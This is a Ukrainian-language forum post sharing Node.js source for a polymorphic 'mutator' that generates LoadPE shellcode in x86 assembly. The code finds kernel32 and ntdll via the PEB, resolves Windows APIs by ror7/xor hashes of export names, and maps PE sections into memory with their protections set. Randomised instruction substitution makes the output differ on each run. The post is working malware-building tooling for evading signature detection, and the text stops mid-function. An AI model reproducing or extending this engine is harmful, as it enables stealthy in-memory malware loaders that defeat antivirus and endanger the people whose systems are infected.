Тема: [NODE JS] Мутатор LoadPE шеллкоду
Колись давно я бавився з кодогенерацією і зробив цей мутатор loadPE шеллкодів. Я розумію, що створюваний код не оптимальний, проте ідея цікава. LLVM для бідних Кажен раз мутатор видає інакший код.
platform.js файл
▼Одчинити
var pad = require('./modules/node-pad/lib/pad.js');
var fs = require('fs');
var _ = require('./modules/underscore/underscore.js');
const DONT_ADD_TO_LIST = 1; USE_ONLY_GENERAL_REGS = 2; LOCK_REG = 4; LOCK_VAR = 4;
exports.DONT_ADD_TO_LIST = DONT_ADD_TO_LIST; exports.USE_ONLY_GENERAL_REGS = USE_ONLY_GENERAL_REGS; exports.LOCK_REG = LOCK_REG;
exports.LOCK_VAR = LOCK_VAR;
const REG_EAX = 0, REG_EBX = 1, REG_ECX = 2, REG_EDX = 3, REG_ESI = 4, REG_EDI = 5, REG_EBP = 6;
exports.REG_EAX = REG_EAX; exports.REG_EBX = REG_EBX; exports.REG_ECX = REG_ECX; exports.REG_EDX = REG_EDX; exports.REG_ESI = REG_ESI;
exports.REG_EDI = REG_EDI; exports.REG_EBP = REG_EBP;
const REG_DWORD = 0, REG_LOWORD = 1, REG_HIBYTE = 2, REG_LOBYTE = 3;
exports.REG_DWORD = REG_DWORD; exports.REG_LOWORD = REG_LOWORD; exports.REG_HIBYTE = REG_HIBYTE; exports.REG_LOBYTE = REG_LOBYTE;
const REG_R32 = 0, REG_R16 = REG_LOWORD<<3, REG_R8H = REG_HIBYTE<<3, REG_R8L = REG_LOBYTE<<3;
exports.REG_R32 = REG_R32; exports.REG_R16 = REG_R16; exports.REG_R8H = REG_R8H; exports.REG_R8L = REG_R8L;
const REG_AX=REG_EAX+(REG_LOWORD<<3), REG_BX=REG_EBX+(REG_LOWORD<<3), REG_CX=REG_ECX+(REG_LOWORD<<3), REG_DX=REG_EDX+(REG_LOWORD<<3),
REG_AL=REG_EAX+(REG_LOBYTE<<3), REG_BL=REG_EBX+(REG_LOBYTE<<3), REG_CL=REG_ECX+(REG_LOBYTE<<3), REG_DL=REG_EDX+(REG_LOBYTE<<3),
REG_AH=REG_EAX+(REG_HIBYTE<<3), REG_BH=REG_EBX+(REG_HIBYTE<<3), REG_CH=REG_ECX+(REG_HIBYTE<<3), REG_DH=REG_EDX+(REG_HIBYTE<<3),
REG_SI=REG_ESI+(REG_LOWORD<<3), REG_DI=REG_EDI+(REG_LOWORD<<3);
exports.REG_AX = REG_AX; exports.REG_BX = REG_BX; exports.REG_CX = REG_CX; exports.REG_DX = REG_DX;
exports.REG_AL = REG_AL; exports.REG_BL = REG_BL; exports.REG_CL = REG_CL; exports.REG_DL = REG_DL;
exports.REG_AH = REG_AH; exports.REG_BH = REG_BH; exports.REG_CH = REG_CH; exports.REG_DH = REG_DH;
exports.REG_SI = REG_SI; exports.REG_AX = REG_DI;
const MEM32 = 0, MEM16 = 1, MEM8 = 2;
exports.MEM32 = MEM32; exports.MEM16 = MEM16; exports.MEM8 = MEM8;
function unchainMem(s) {
var r="";
if (_.isString(s) && (r = s.match(/\[([a-zA-Z\.]\w*)\]/)) !== null) return(r[1]);
return(r);
}
function unchainConst(s){
var r = "";
if (_.isString(s) && (r = s.match(/0x[0-9a-fA-F]*/)) !== null) return(r[0]);
return(r);
}
function BytesToDword (B1, B2, B3, B4) {
var iResult = B1 + (B2<<8)+(B3<<16) + (B4<<24);
return(iResult>>>0);
};
exports.BytesToDword = BytesToDword;
Number.prototype.toHex = function() {
return('0x'+this.toString(16)); };
function arrRndValue (arr) {
return(arr[Math.floor(Math.random()*arr.length)]);};
function arrRndOrderConact(array){
return(_.shuffle(array).join(''));};
var Register = function (sNameDW, sNameLW, sNameLB, sNameHB) {
this.name = [sNameDW, sNameLW, sNameLB, sNameHB]; this.using = false; };
RegisterProto = {
lock: function() { this.using = true;},
unlock: function() { this.using = false; },
toString: function(i) {if ( _.isUndefined(i) || i < 0 || i > 3) i = 0; return(this.name[i]);},
isGeneral: function(){return(this.name[3] !== null);}};
SetRegister = function(i) {if(_.isUndefined(i)||i<0||i>0x7f) i = 0; this.num = i;};
module.exports.Register = Register;
module.exports.Register.prototype = RegisterProto;
SetRegisterProto = {
arrNames: ['eax', 'ebx', 'ecx', 'edx', 'esi', 'edi', 'ebp'],
has: function (i) {
if (_.isUndefined(i) || i < REG_EAX || i > REG_EBP) return(false); return ((this.num & 1 << i)!=0);},
add: function(i) {
if (_.isUndefined(i) || i < REG_EAX || i > REG_EBP) return(false); this.num |= ((1 << i)>>>0); return(true);},
remove: function(i) {
if (_.isUndefined(i) || i < REG_EAX || i > REG_EBP) return(false); this.num &= ~ ((1 << i)>>>0) ; return(true);},
toArrayIndex: function() {
var x = []; _.each(_.range(REG_EBP+1), function(a){ if (this.has(a)) x.push(a)}, this); return(x); },
toArrayIndexInverse: function() {
var x = []; _.each(_.range(REG_EBP+1), function(a){ if (!this.has(a)) x.push(a)}, this); return(x); },
toArrayNamesInverse: function() {return(_.map(this.toArrayIndexInverse(), function(x){ return (this.arrNames[x])}, this));},
toArrayNames: function() {return(_.map(this.toArrayIndex(), function(x){ return (this.arrNames[x])}, this));},
getInt: function () {return(this.num);},
setInt: function (i) {this.num = i; return (true);},
not: function() {this.num = ((~ this.num >>> 0) & 0x7f); return(true);}};
module.exports.SetRegister = SetRegister;
module.exports.SetRegister.prototype = SetRegisterProto;
SetRegister.prototype = SetRegisterProto;
function Registers() {
var rn = [['eax', 'ax', 'ah', 'al'], ['ebx', 'bx', 'bh', 'bl'], ['ecx', 'cx', 'ch', 'cl'], ['edx', 'dx', 'dh', 'dl'],
['esi', 'si', null, null ], ['edi', 'di', null, null], ['ebp', 'bp', null, null]];
this.container = []; this.used = new SetRegister();
_.each(rn, function(x, y) { this.container[y] = new Register(x[0], x[1], x[2], x[3]); }, this);};
RegistersProto = {
objToIndex : function (a) {
var b = null; _.find(this.container, function (x, y) { if (x === a) b=y; return (x === a);}, this); return(b);},
arrIndexToArrObj : function (a) {
if (_.isUndefined(a) || (!_.isArray(a)) || _.find(a, function(x) {if (x>REG_EBP || x<REG_EAX) return(true);})) return(null);
return(_.map(a, function(x) { return(this.container[x]); }, this))},
getIndexByName : function (sName){
var num = NaN; _.find(this.container, function(x, y) { if (x.name[0]===sName) {num = y; return(true);} }, this); return (num);},
getByIndex : function (i) { if (_.isUndefined(i) || i < REG_EAX || i > REG_EBP) return(null); return(this.container[i]);},
getArrFreeIndex : function () { return(this.used.toArrayIndexInverse()); },
getArrFreeName : function () {return(this.used.toArrayNamesInverse());},
getArrFreeObj : function (){return(_.filter(this.container, function(x) {return(!x.using);}, this));},
getUsedIndex : function () {return(this.used.toArrayIndex());},
getUsedNames : function() {return(this.used.toArrayNames());},
getUsedObj : function () {return(this.arrIndexToArrObj(this.used.toArrayIndex()));},
getFreeIndex : function(flags) {
var rs = this.getArrFreeObj(), r, res;
if (flags & USE_ONLY_GENERAL_REGS) rs = _.filter(rs, function(x) {return(x.isGeneral());}, this);
if (!_.size(rs)) return(NaN);
r = arrRndValue(rs);
if (flags & LOCK_REG) r.lock();
res = this.objToIndex(r);
if (!(flags & DONT_ADD_TO_LIST)) this.used.add(res);
return(res);
},
getFreeObj : function(flags) {
var rs = this.getArrFreeObj(), r;
if (flags & USE_ONLY_GENERAL_REGS) rs = _.filter(rs, function(x) { return(x.isGeneral()); }, this);
if (!_.size(rs)) return(null);
r = arrRndValue(rs);
if (flags & LOCK_REG) r.lock();
if (!(flags & DONT_ADD_TO_LIST)) this.used.add(this.objToIndex(r));
return(r);
}
}
module.exports.Registers = Registers;
module.exports.Registers.prototype = RegistersProto;
Registers.prototype = RegistersProto;
function Variable (sName, iSize) {
this.name = sName; this.use = false; this.size = iSize;};
module.exports.Variable = Variable;
function Variables () {
this.container = new Array();};
VariablesProto = {
add : function (sName, iSize) {if (!sName) return(null); if (!iSize) iSize = 4; if (!this.isExists(sName)) return(this.container.push(new Variable(sName, iSize))); return(null);},
isExists : function (sName) {
return((!_.isUndefined(sName)) && (_.find(this.container, function(x){ return (x.name === sName) }, this)));},
toString : function (sName) {
return(_.reduce(_.shuffle(this.container), function (m, x) {return(m+' local '+x.name+this.getAsmType(x.size)+'\n')}, '', this));},
getAsmType : function(i) {
var obj = {'1':':Byte', '2':':WORD', '4':':DWORD', '8':':QWORD'}; if (_.isUndefined(i) || i < 1 || (!_.isNumber(i))) return(null);
if (_.has(obj, i)) return(obj[i]); return ('['+i.toHex()+']:BYTE');}};
module.exports.Variables = Variables;
Variables.prototype = VariablesProto;
module.exports.Variables.ptototype = VariablesProto;
//module.exports.Variables.ptototype = VariablesProto;
function ExecutionEnvironment(sName, sCallConv, arrParam) {
var f;
this.regs = new Registers(); this.vars = new Variables(); this.name = sName;
this.callconv = sCallConv;
if (sCallConv == 'stdcall') { this.regs.container[REG_EBP].lock(); };
this.tableCmd = [];
f = function (p, f) {
f.emit([['add', p[0].s, '1'], ['sub', p[0].s, '-1'], ['inc', p[0].s]][_.random(2)]); return(true);}
this.tableCmd.push(['inc', ['r8'], 1, f]);
this.tableCmd.push(['inc', ['r16'], 1, f]);
this.tableCmd.push(['inc', ['r32'], 1, f]);
this.tableCmd.push(['inc', ['m32'], 1, f]);
f = function (p, f) {
f.emit(['add', p[1].s, p[0].s]); return(true);};
this.tableCmd.push(['add', ['c8', 'r8'], 2, f]);
this.tableCmd.push(['add', ['c16', 'r16'], 2, f]);
f = function (p, f) {
f.emit([['add', p[1].s, p[0].s], ['lea', p[1].s, '['+ p[1].s+'+'+unchainConst(p[0].s)+']']][_.random(1)]); return(true);};
this.tableCmd.push(['add', ['c32', 'r32'], 2, f]);
f = function (p, f) {f.emit([['add', p[1].s, p[0].s], ['lea', p[1].s, '['+p[0].s+'+'+p[1].s+']']][_.random(1)]); return(true);}
this.tableCmd.push(['add', ['r32', 'r32'], 2, f]);
f = function (p, f) {
f.emit([['push', p[0].s, ';', 'pop', p[1].s], ['mov', p[1].s, p[0].s]][_.random(1)]); return(true);};
this.tableCmd.push(['load', ['m32', 'r32'], 2, f]);
this.tableCmd.push(['load', ['r32', 'm32'], 2, f]);
this.tableCmd.push(['load', ['r32', 'r32'], 2, f]);
this.tableCmd.push(['load', ['c32', 'r32'], 2, f]);
this.tableCmd.push(['load', ['c32', 'm32'], 2, f]);
f = function (p, f) {
f.emit(['push', p[0].s, ';', 'pop', p[1].s]);
return(true);
};
this.tableCmd.push(['load', ['m32', 'm32'], 2, f]);
f = function (p, f) {
f.emit([['add', p[0].s, '-0x1'], ['sub', p[0].s, '0x1'], ['dec', p[0].s], ['lea', p[0].s, '['+p[0].s+'-0x1]']][_.random(3)]);
return(true);
};
this.tableCmd.push(['dec', ['r8'], 1, f]); this.tableCmd.push(['dec', ['r16'], 1, f]); this.tableCmd.push(['dec', ['r32'], 1, f]);
f = function(p, f) {
f.emit([['test', p[0].s, p[0].s], ['cmp', p[0].s, (0).toHex()], ['or', p[0].s, p[0].s]][_.random(2)]);
return(true);
};
this.tableCmd.push(['checkz', ['r8'], 1, f]);
this.tableCmd.push(['checkz', ['r16'], 1, f]);
this.tableCmd.push(['checkz', ['r32'], 1, f]);
f = function(p, f) {
f.emit([['mov', p[0].s, '0x0'], ['push', '0x0', ';', 'pop', p[0].s], ['and', p[0].s, '0x0'], ['xor', p[0].s, p[0].s], ['sub', p[0].s, p[0].s]][_.random(4)]);
return(true)
};
this.tableCmd.push(['loadz', ['r32'], 1, f]);
f = function(p, f) {
f.emit(['movzx', p[1].s, p[0].s]);
return(true)
};
this.tableCmd.push(['loadzx', ['m8', 'r32'], 2, f]);
this.tableCmd.push(['loadzx', ['m16', 'r32'], 2, f]);
f = function(p, f) {
var r;
if (_.random(1)) {
f.emit(['cmp', p[1].s, p[0].s]);
} else {
r = f.getFreeReg(LOCK_REG);
f.cmd('loadzx_m16$r32', [unchainMem(p[1].s), r.i]);
f.emit(['cmp', r.s, (p[0].i).toHex()]);
r.o.unlock();
};
return(true);
};
this.tableCmd.push(['check', ['c16', 'm16'], 2, f]);
f = function(p, f) {
f.emit(['cmp', p[1].s, p[0].s]); return(true);
};
this.tableCmd.push(['check', ['c32', 'm32'], 2, f]);
this.tableCmd.push(['check', ['m32', 'r32'], 2, f]);
this.useForResult = null; this.params = arrParam; this.code = ''; this.settings = {fTrashGen: false};
};
ExecutionEnvironmentProto = {
emit : function (line) {
ax = []; ay= []; if (_.isString(line)) {this.code+=line;return(line);} if (!_.isArray(line)) return(null);
_.each(line, function(x, i, arr) { if (x == ';') { ay.push(ax); ax = []; return(0); } ax.push(x); } , this); if (_.size(ax)) ay.push(ax);
this.code+=_.reduce(ay, function(m, x) { var s =''; if(_.size(x)){s=' '+pad(x[0], 8);
if (_.size(x) > 1) { s += x.slice(1).join(', ');}} return(m+s+'\n');}, '', this);return(true);},
finalize : function(r) {
if (this.callconv == 'stdcall') {
var sResultType, bSaveUsedRegs = _.random(1), optimize = _.random(1);
regz = this.regs.getUsedIndex();
if (bSaveUsedRegs && _.isNumber(this.useForResult)) {
if (this.useForResult == REG_EAX && optimize ) {this.regs.used.remove(REG_EAX);}
else { this.vars.add('iResult'); this.cmd('load_r32$m32', [this.useForResult, 'iResult']); };
} else {
this.vars.add('iResult');
if (_.isNumber(this.useForResult)) {this.cmd('load_r32$m32', [this.useForResult, 'iResult']);} else {
if (!this.vars.isExists(this.useForResult)) {this.cmd('load_m32$m32', [this.useForResult, 'iResult']);};};
};
if (bSaveUsedRegs) {
this.code = _.reduce(this.regs.getUsedNames(), function(memo, i) {return(' push '+i+'\n'+memo+' pop '+i+'\n');}, this.code, this);}
else {this.code = ' pusha\n'+this.code+' popa\n';};
if (!(optimize && bSaveUsedRegs && this.useForResult == REG_EAX)) {this.cmd('load_m32$r32', ['iResult', REG_EAX]); };
this.code = 'proc '+this.name+' '+this.params.join(', ')+'\n'+this.vars+this.code+' ret\nendp\n';
return (true);};
return(false);},
setUseForResult : function(r) {if (_.isString(r) || _.isNumber(r)) { this.useForResult = r; return(true); }; return(false); },
toString : function () {return(this.code);},
toType : function(t, v) {
var getRSZ, isMem, toMem, toReg, oTableType; getRSZ = function(a) { return((a>>3)&3); };
isMem = function (a){ return(_.isString(a) ? '['+a+']': null); };
toMem = function (m, i) { var obj = {'0':'DWord', '1':'Word', '2':'Byte'}, p; if (_.isUndefined(i)||(!(p = isMem(m)))||(!_.isNumber(i)))
return(null); if (_.has(obj, i)) return({s:obj[i]+' '+p, o: null, i:null}); return(null); }
toReg = function (p, ee) { return({i: p, o: ee.regs.getByIndex(p&7), s: ee.regs.getByIndex(p&7).toString(getRSZ(p))});};
//
oTableType = {
'm32': function (p, ee) {return(toMem(p, MEM32));},
'm16': function (p, ee) {return(toMem(p, MEM16));},
'm8': function (p, ee) {return(toMem(p, MEM8));},
'r32': function (p, ee) {return((_.isUndefined(p) || (p<REG_EAX) ||p>REG_EBP) ? null:toReg(p, ee));},
'r16': function (p, ee) {return((_.isUndefined(p) || (getRSZ(p)!==REG_LOWORD)) ? null:toReg(p, ee));},
'r8': function (p, ee) {return((_.isUndefined(p) || (getRSZ(p)!==REG_HIBYTE&&getRSZ(p)!==REG_LOBYTE)) ? null:toReg(p, ee))},
'c32': function (p, ee) { return(((!_.isUndefined(p))&&_.isNumber(p)) ? {o:null,s:'DWORD ' + p.toHex(),i:p} : (_.isString(p) ? {o:null, s:p, i:null}: null) )},
'c16': function (p, ee) { return(((!_.isUndefined(p))&&_.isNumber(p)) ? {o:null,s:'WORD ' + p.toHex(),i:p} : (_.isString(p) ? {o:null, s:p, i:null}: null) )},
'c8': function (p, ee) { return(((!_.isUndefined(p))&&_.isNumber(p)) ? {o:null,s:'BYTE ' + p.toHex(),i:p} : (_.isString(p) ? {o:null, s:p, i:null}: null) )}
};
return(_.has(oTableType,t)?oTableType[t](v,this):null);
},
cmd : function(name, params) {
var p = [], c = _.find(this.tableCmd, function(x) { return ( (!_.size(x[1])) || (x[0]+'_'+x[1].join('$')===name));}, this);
if ((!c)||(!_.isFunction(c[3]))) return(false); _.each(c[1], function (x, i) { var v = this.toType(x, params[i]);
if (v) p.push(v);}, this); if (_.size(p)!==c[2]) return(false); c[3](p, this); return(true);},
getFreeReg: function(f) {
return(this.toType('r32', this.regs.getFreeIndex(f)));}};
module.exports.ExecutionEnvironment = ExecutionEnvironment;
module.exports.ExecutionEnvironment.prototype = ExecutionEnvironmentProto;
ExecutionEnvironment.prototype = ExecutionEnvironmentProto;
tablecall.js файл
▼Одчинити
var pad = require('./modules/node-pad/lib/pad.js');
var _ = require('./modules/underscore/underscore.js');
var p = require('./platform.js');
function nameptrfnc(v) {
if (_.isObject(v) && _.has(v, 'lib') && _.has(v, 'fnc'), _.isString(v.lib), _.isString(v.lib)) {
return('p'+v.fnc+'_'+v.lib.replace(/\.dll/gi, ''))}};
module.exports = nameptrfnc;
function namehandlelib(slib) {
if (_.isString(slib)) return('h'+slib.replace(/\.dll/gi, ''));};
module.exports = namehandlelib;
function namestrzlib(slib) {
if (_.isString(slib)) return('sz'+slib.replace(/\.dll/gi, ''));};
module.exports = namestrzlib;
function genAPIStruct(ta) {
return (_.reduce(_.shuffle(ta), function(memo, val) { return (memo + pad(' '+nameptrfnc(val), 40)+' dd ?\n'); }, 'struct stAPITable\n') + 'ends\n');};
module.exports.genAPIStruct = genAPIStruct;
toHex = function(x) {
return('0x'+x.toString(16));};
CodeSnippet = function(name, callconv, params, fSnippet, prmz) {
var ee = new p.ExecutionEnvironment(name, callconv, params);
fSnippet(ee, ee.regs, ee.vars, prmz);
ee.finalize();
return({e : ee, code: ee.code, buffer: null});};
module.exports.CodeSnippet = CodeSnippet;
var fHashRor7Xor = function (e, r, v) {
var r1 = e.getFreeReg(p.USE_ONLY_GENERAL_REGS|p.LOCK_REG), r2 = e.getFreeReg(p.LOCK_REG);
e.cmd('load_m32$r32', ['strz', r2.i]);
e.cmd('load_c32$r32', [0, r1.i]);
e.emit(['push',''+r1.s]);
e.emit('.CalcHash:\n');
e.emit(['ror', r1.s, 7]);
e.emit(['xor','[esp]', r1.s]);
e.emit(['mov', e.toType('r8', r1.i+p.REG_R8L).s, 'Byte ['+r2.s+']']);
e.cmd('inc_r32', [r2.i]);
e.cmd('checkz_r8', [r1.i+p.REG_R8L]);
e.emit(['jnz','.CalcHash']);
e.emit(['pop','eax']);
e.setUseForResult(p.REG_EAX);};
var fGetNtdll = function (e, r, v) {
var r1, r2, r3, r4;
r1 = e.getFreeReg(p.LOCK_REG);
e.cmd('load_m32$r32', ['fs:0x30', r1.i]);
r1.o.unlock();
r2 = e.getFreeReg(p.LOCK_REG);
e.cmd('load_m32$r32', [r1.s+'+0xC', r2.i]);
r2.o.unlock();
r3 = e.getFreeReg(p.LOCK_REG);
e.cmd('load_m32$r32', [r2.s+'+0x1C', r3.i]);
r3.o.unlock();
e.setUseForResult(r3.s+'+0x8');};
var fGetK32 = function (e, r, v){
var reg1, reg2, reg3, reg4, reg5; c = _.shuffle([0x6b, 0x4b]);
e.vars.add('iResult');
reg1 = e.getFreeReg(p.LOCK_REG);
e.cmd('load_m32$r32', ['fs:0x30', reg1.i]);
reg1.o.unlock();
reg2 = e.getFreeReg(p.LOCK_REG);
e.cmd('load_m32$r32', [reg1.s+'+0xC', reg2.i]);
reg2.o.unlock();
reg3 = e.getFreeReg(p.LOCK_REG);
e.cmd('load_m32$r32', [reg2.s+'+0x1C', reg3.i]);
e.emit('.NextModule:\n');
e.cmd('load_m32$m32', [reg3.s+'+0x8', 'iResult']);
reg4 = e.getFreeReg(p.LOCK_REG);
e.cmd('load_m32$r32', [reg3.s+'+0x20', reg4.i]);
e.cmd('load_m32$r32', [reg3.s, reg3.i]);
reg5 = e.getFreeReg(p.LOCK_REG|p.USE_ONLY_GENERAL_REGS);
e.cmd('loadzx_m8$r32', [reg4.s+'+0x18', reg5.i]);
e.cmd('checkz_r32', [reg5.i]);
e.emit(['jne', '.NextModule']);
e.cmd('loadzx_m8$r32', [reg4.s, reg5.i]);
e.emit(['cmp', reg5.s, toHex(c[0]), ';', 'je', '.Found_K32', ';', 'cmp', reg5.s, toHex(c[1]), ';', 'jne', '.NextModule']);
e.emit('.Found_K32:\n');
e.setUseForResult('iResult');};
function genData(e, buff, memdest) {
var i = 0, r = e.getFreeReg(LOCK_REG);
e.emit(['lea', r.s, '['+memdest+']']);
while( i < buff.length){
if ((buff.length - i - 1) > 4) {
e.cmd('load_c32$m32', [p.BytesToDword(buff[i], buff[i+1], buff[i+2], buff[i+3]), r.s]); i+=4; e.cmd('add_c32$r32', [4, r.i]);
} else { e.emit(['mov', 'BYTE ['+r.s+']', toHex(buff[i])]); i++; if (i !== buff.length) { e.cmd('inc_r32', [r.i]);}; }; }; r.o.unlock();};
module.exports.genData = genData;
function fAltGetProcAddress (e, r, v){
var r1;
e.vars.add('iResult');
r1 = e.getFreeReg(p.LOCK_REG);
eval(_.shuffle(["e.cmd('load_c32$m32', [0, 'iResult'])", "e.cmd('load_m32$r32', ['hLib', r1.i])"]).join(';'));
e.cmd('check_c16$m16', [0x5a4d, r1.s]);
e.emit(['jne', '.End']);
r2 = e.getFreeReg(p.LOCK_REG);
e.cmd('loadzx_m16$r32', [r1.s+'+0x3c', r2.i]);
e.cmd('add_r32$r32', [r1.i, r2.i]);
e.cmd('check_c32$m32', [0x4550, r2.s]);
e.emit(['jne', '.End']);
r3 = e.getFreeReg(p.LOCK_REG);
e.cmd('load_m32$r32', [r2.s+'+0x78', r3.i]);
r2.o.unlock();
e.cmd('add_r32$r32', [r1.i, r3.i]);
r4 = e.getFreeReg(p.LOCK_REG);
e.cmd('load_m32$r32', [r3.s+'+0x18', r4.i]);
r5 = e.getFreeReg(p.LOCK_REG);
e.emit(['push', r3.s]);
e.cmd('loadz_r32', [r5.i]);
r6 = e.getFreeReg(p.LOCK_REG);
e.cmd('load_m32$r32', [r3.s+'+0x20', r6.i]);
r3.o.unlock();
e.cmd('add_r32$r32', [r1.i, r6.i]);
e.emit('.MainLoop:\n');
r7 = e.getFreeReg(p.LOCK_REG);
e.cmd('load_m32$r32', [r6.s, r7.i]);
e.cmd('add_r32$r32', [r1.i, r7.i]);
e.emit(['push', 'eax']);
e.emit(['stdcall', '[fHashProc]', r7.s]);
e.cmd('check_m32$r32', ['iHashVal', p.REG_EAX]);
e.emit(['pop', 'eax']);
e.emit(['jz', '.FoundProcname']);
eval(_.shuffle(["e.cmd('add_c32$r32', [0x4, r6.i])", "e.cmd('inc_r32', [r5.i])", "e.cmd('dec_r32', [r4.i])"]).join(';'));
e.cmd('checkz_r32', [r4.i]);
e.emit(['jnz', '.MainLoop']);
e.emit(['pop', e.getFreeReg().s]);
e.emit(['jmp', '.End']);
e.emit('.FoundProcname:\n');
r7.o.unlock(); r6.o.unlock(); r4.o.unlock();
r8 = e.getFreeReg(p.LOCK_REG);
e.emit(['pop', r8.s]);
eval("e.emit(['shl', r5.s, 0x1])");
e.emit(['add', r5.s, (e.toType('m32', r8.s+'+0x24')).s]);
r9 = e.getFreeReg(p.LOCK_REG);
e.cmd('loadzx_m16$r32', [r5.s+'+'+r1.s, r9.i]);
eval(["e.emit(['shl', r9.s, 0x2]); e.cmd('add_r32$r32', [r1.i, r9.i]);",
"e.emit(['lea', r9.s, '['+ r9.s+'*4+'+r1.s+']']);"][_.random(1)]);
e.emit(['add', r9.s, (e.toType('m32', r8.s+'+0x1C')).s]);
r8.o.unlock(); r10 = e.getFreeReg(p.LOCK_REG);
e.cmd('load_m32$r32', [r9.s, r10.i]);
e.cmd('add_r32$r32', [r1.i, r10.i]);
e.cmd('load_r32$m32', [r10.i, 'iResult']);
e.emit('.End:\n');
};
function tableApiUnique (ta) {
return(eval('[ '+(_.uniq(_.map(ta, function(x) { return(JSON.stringify(x));}))).join(', ')+' ]'));};
function tableApiHasLib(ta, sDll) {
return (_.size(_.where(ta, {lib:sDll})) > 0);};
function tableApiHasUserLibs(ta){
return(_.find ( ta, function(value) { return ( value.lib !== 'kernel32.dll' && value.lib !== 'ntdll.dll') }) === null);};
function tableApiGetUserLibs(ta) {
return(_.filter(_.unique(_.pluck(ta, 'lib')), function(value) { return (value !== 'kernel32.dll' && value !== 'ntdll.dll') }));};
var oGetNtdllProc = CodeSnippet('GetNtdll', 'stdcall', [], fGetNtdll);
var oGetK32Proc = CodeSnippet('GetK32', 'stdcall', [], fGetK32);
var oGetHashProc = CodeSnippet('GetHashSz', 'stdcall', ['strz'], fHashRor7Xor);
var oAltGetProcAddress = CodeSnippet('AltGetProcAddressByHash', 'stdcall', ['hLib', 'fHashProc', 'iHashVal'], fAltGetProcAddress);
function _rotr (value, shift) {
if ((shift &= 31) == 0) return value;
return ((value >>> shift) | (value << (32 - shift)));};
function hash_ror7xor(b){
var r = 0, x = 0;
for (i = 0; i<_.size(b); i++) { x = _rotr(x, 7); r ^= x; x = x & 0xffffff00; x |= b[i]>>>0; };
return( (r^=_rotr(x, 7))>>>0);};
function followApiTable(e, ta){
var bufflib, r = e.regs, v = e.vars;
reg_addr = e.toType('r32', [p.REG_EBX, p.REG_ESI, p.REG_EDI][_.random(2)]);
reg_addr.o.lock();
if (tableApiHasUserLibs(ta)) {
ta.push({fnc: 'LoadLibraryA', lib: 'kernel32.dll'});};
ta = tableApiUnique(ta);
v.add('pGetHashSz');
e.cmd('load_m32$r32', ['pMyAddr', reg_addr.i]);
e.emit(['lea', reg_addr.s, '['+reg_addr.s+'+GetHashSz]']);
e.cmd('load_r32$m32', [reg_addr.i, 'pGetHashSz']);
if (tableApiHasLib(ta, 'kernel32.dll')) {
e.vars.add(namehandlelib('kernel32.dll'));
e.emit(['call', 'GetK32']);
e.cmd('load_r32$m32', [p.REG_EAX, namehandlelib('kernel32.dll')]);};
if (tableApiHasLib(ta, 'ntdll.dll')) {
e.vars.add(namehandlelib('ntdll.dll'));
e.emit(['call', 'GetNtdll']);
e.cmd('load_r32$m32', [p.REG_EAX, namehandlelib('ntdll.dll')]);};
e.vars.add('APITable',_.size(ta)*4);
_.each(tableApiGetUserLibs(ta), function(lib) {
e.emit(['stdcall', 'AltGetProcAddressByHash', '['+namehandlelib('kernel32')+']', reg_addr.s, toHex(hash_ror7xor(new Buffer('LoadLibraryA', 'utf-8')))]);
e.cmd('load_r32$m32', [p.REG_EAX, 'APITable+stAPITable.pLoadLibraryA_kernel32']);
var s, bufflib, ro;
s = namestrzlib(lib);
bufflib = new Buffer(lib+'\0', 'utf-8');
v.add(s, _.size(bufflib));
genData(e, bufflib, s);
v.add(namehandlelib(lib));
ro = e.getFreeReg(p.LOCK_REG);
e.emit(['lea', ro.s, '['+s+']'])
e.emit(['stdcall', 'DWord [APITable+stAPITable.pLoadLibraryA_kernel32]', ro.s]); ro.o.unlock();
e.cmd('load_r32$m32', [p.REG_EAX, namehandlelib(lib)]);
}, this);
_.each(ta, function(value) {
if (!(tableApiHasUserLibs(ta) && value.fnc === "LoadLibraryA")) {
e.emit(['stdcall', 'AltGetProcAddressByHash', '['+namehandlelib(value.lib)+']', reg_addr.s, toHex(hash_ror7xor(new Buffer(value.fnc, 'utf-8')))]);
e.cmd('load_r32$m32', [p.REG_EAX, 'APITable+stAPITable.'+nameptrfnc(value)]);}
}, this);
reg_addr.o.unlock();
return(genAPIStruct(ta));};
module.exports.followApiTable = followApiTable;
module.exports.procz = [oGetNtdllProc, oGetK32Proc, oGetHashProc, oAltGetProcAddress];
loadpe.js головний файл
▼Одчинити
var tc = require('./tablecall.js');
var p = require('./platform.js');
var fs = require('fs');
var _ = require('./modules/underscore/underscore.js');
var tableApi = [{fnc:'LoadLibraryA', lib:'kernel32.dll'}, {fnc:'VirtualProtect', lib:'kernel32.dll'}];
var headerz;
var procz = tc.procz;
var loadSection = 'proc loadSection pSectionHeader:DWORD, image_base:DWORD, pFileImageBase:DWORD \n\n\
pushad \n'+_.shuffle([' mov edx, [pSectionHeader]', ' mov esi, [pFileImageBase]']).join('\n')+ '\n' +
_.shuffle([' add esi, [edx+IMAGE_SECTION_HEADER.PointerToRawData]',
' mov edi, [edx+IMAGE_SECTION_HEADER.VirtualAddress]\n add edi, [image_base]',
' mov ecx, [edx+IMAGE_SECTION_HEADER.SizeOfRawData]', ' cld']).join('\n')+'\n'+'\
rep movsb\n\
popad\n\
ret\n\
endp\n';
function fSetSection (e, r, v){
var r1 = e.getFreeReg(p.LOCK_REG), r2 = e.getFreeReg(p.LOCK_REG);
v.add('.section_flags'); v.add('iResult'); v.add('.vprotect_ret');
e.cmd('load_c32$m32', [0, 'iResult']);
e.cmd('load_m32$r32', ['pSectionHeader', r1.i]);
e.emit(";section execute/read/write?\n");
e.cmd("load_m32$r32", [r1.s+"+IMAGE_SECTION_HEADER.Characteristics", r2.i,]);
e.emit(" and "+r2.s+", IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE\n\
cmp "+r2.s+", IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE\n\
jne .no_execute_read_write\n");
e.cmd('load_c32$m32', ['PAGE_EXECUTE_READWRITE', '.section_flags']);
e.emit(' jmp .set_memory\n.no_execute_read_write:\n');
r2.o.unlock();
r2 = e.getFreeReg(p.LOCK_REG);
e.cmd("load_m32$r32", [r1.s+"+IMAGE_SECTION_HEADER.Characteristics", r2.i ]);
e.emit(" and "+r2.s+", IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ\n\
cmp "+r2.s+", IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ\n\
jne .no_execute_read\n");
e.cmd('load_c32$m32', ['PAGE_EXECUTE_READ', '.section_flags']);
e.emit(' jmp .set_memory\n.no_execute_read:\n');
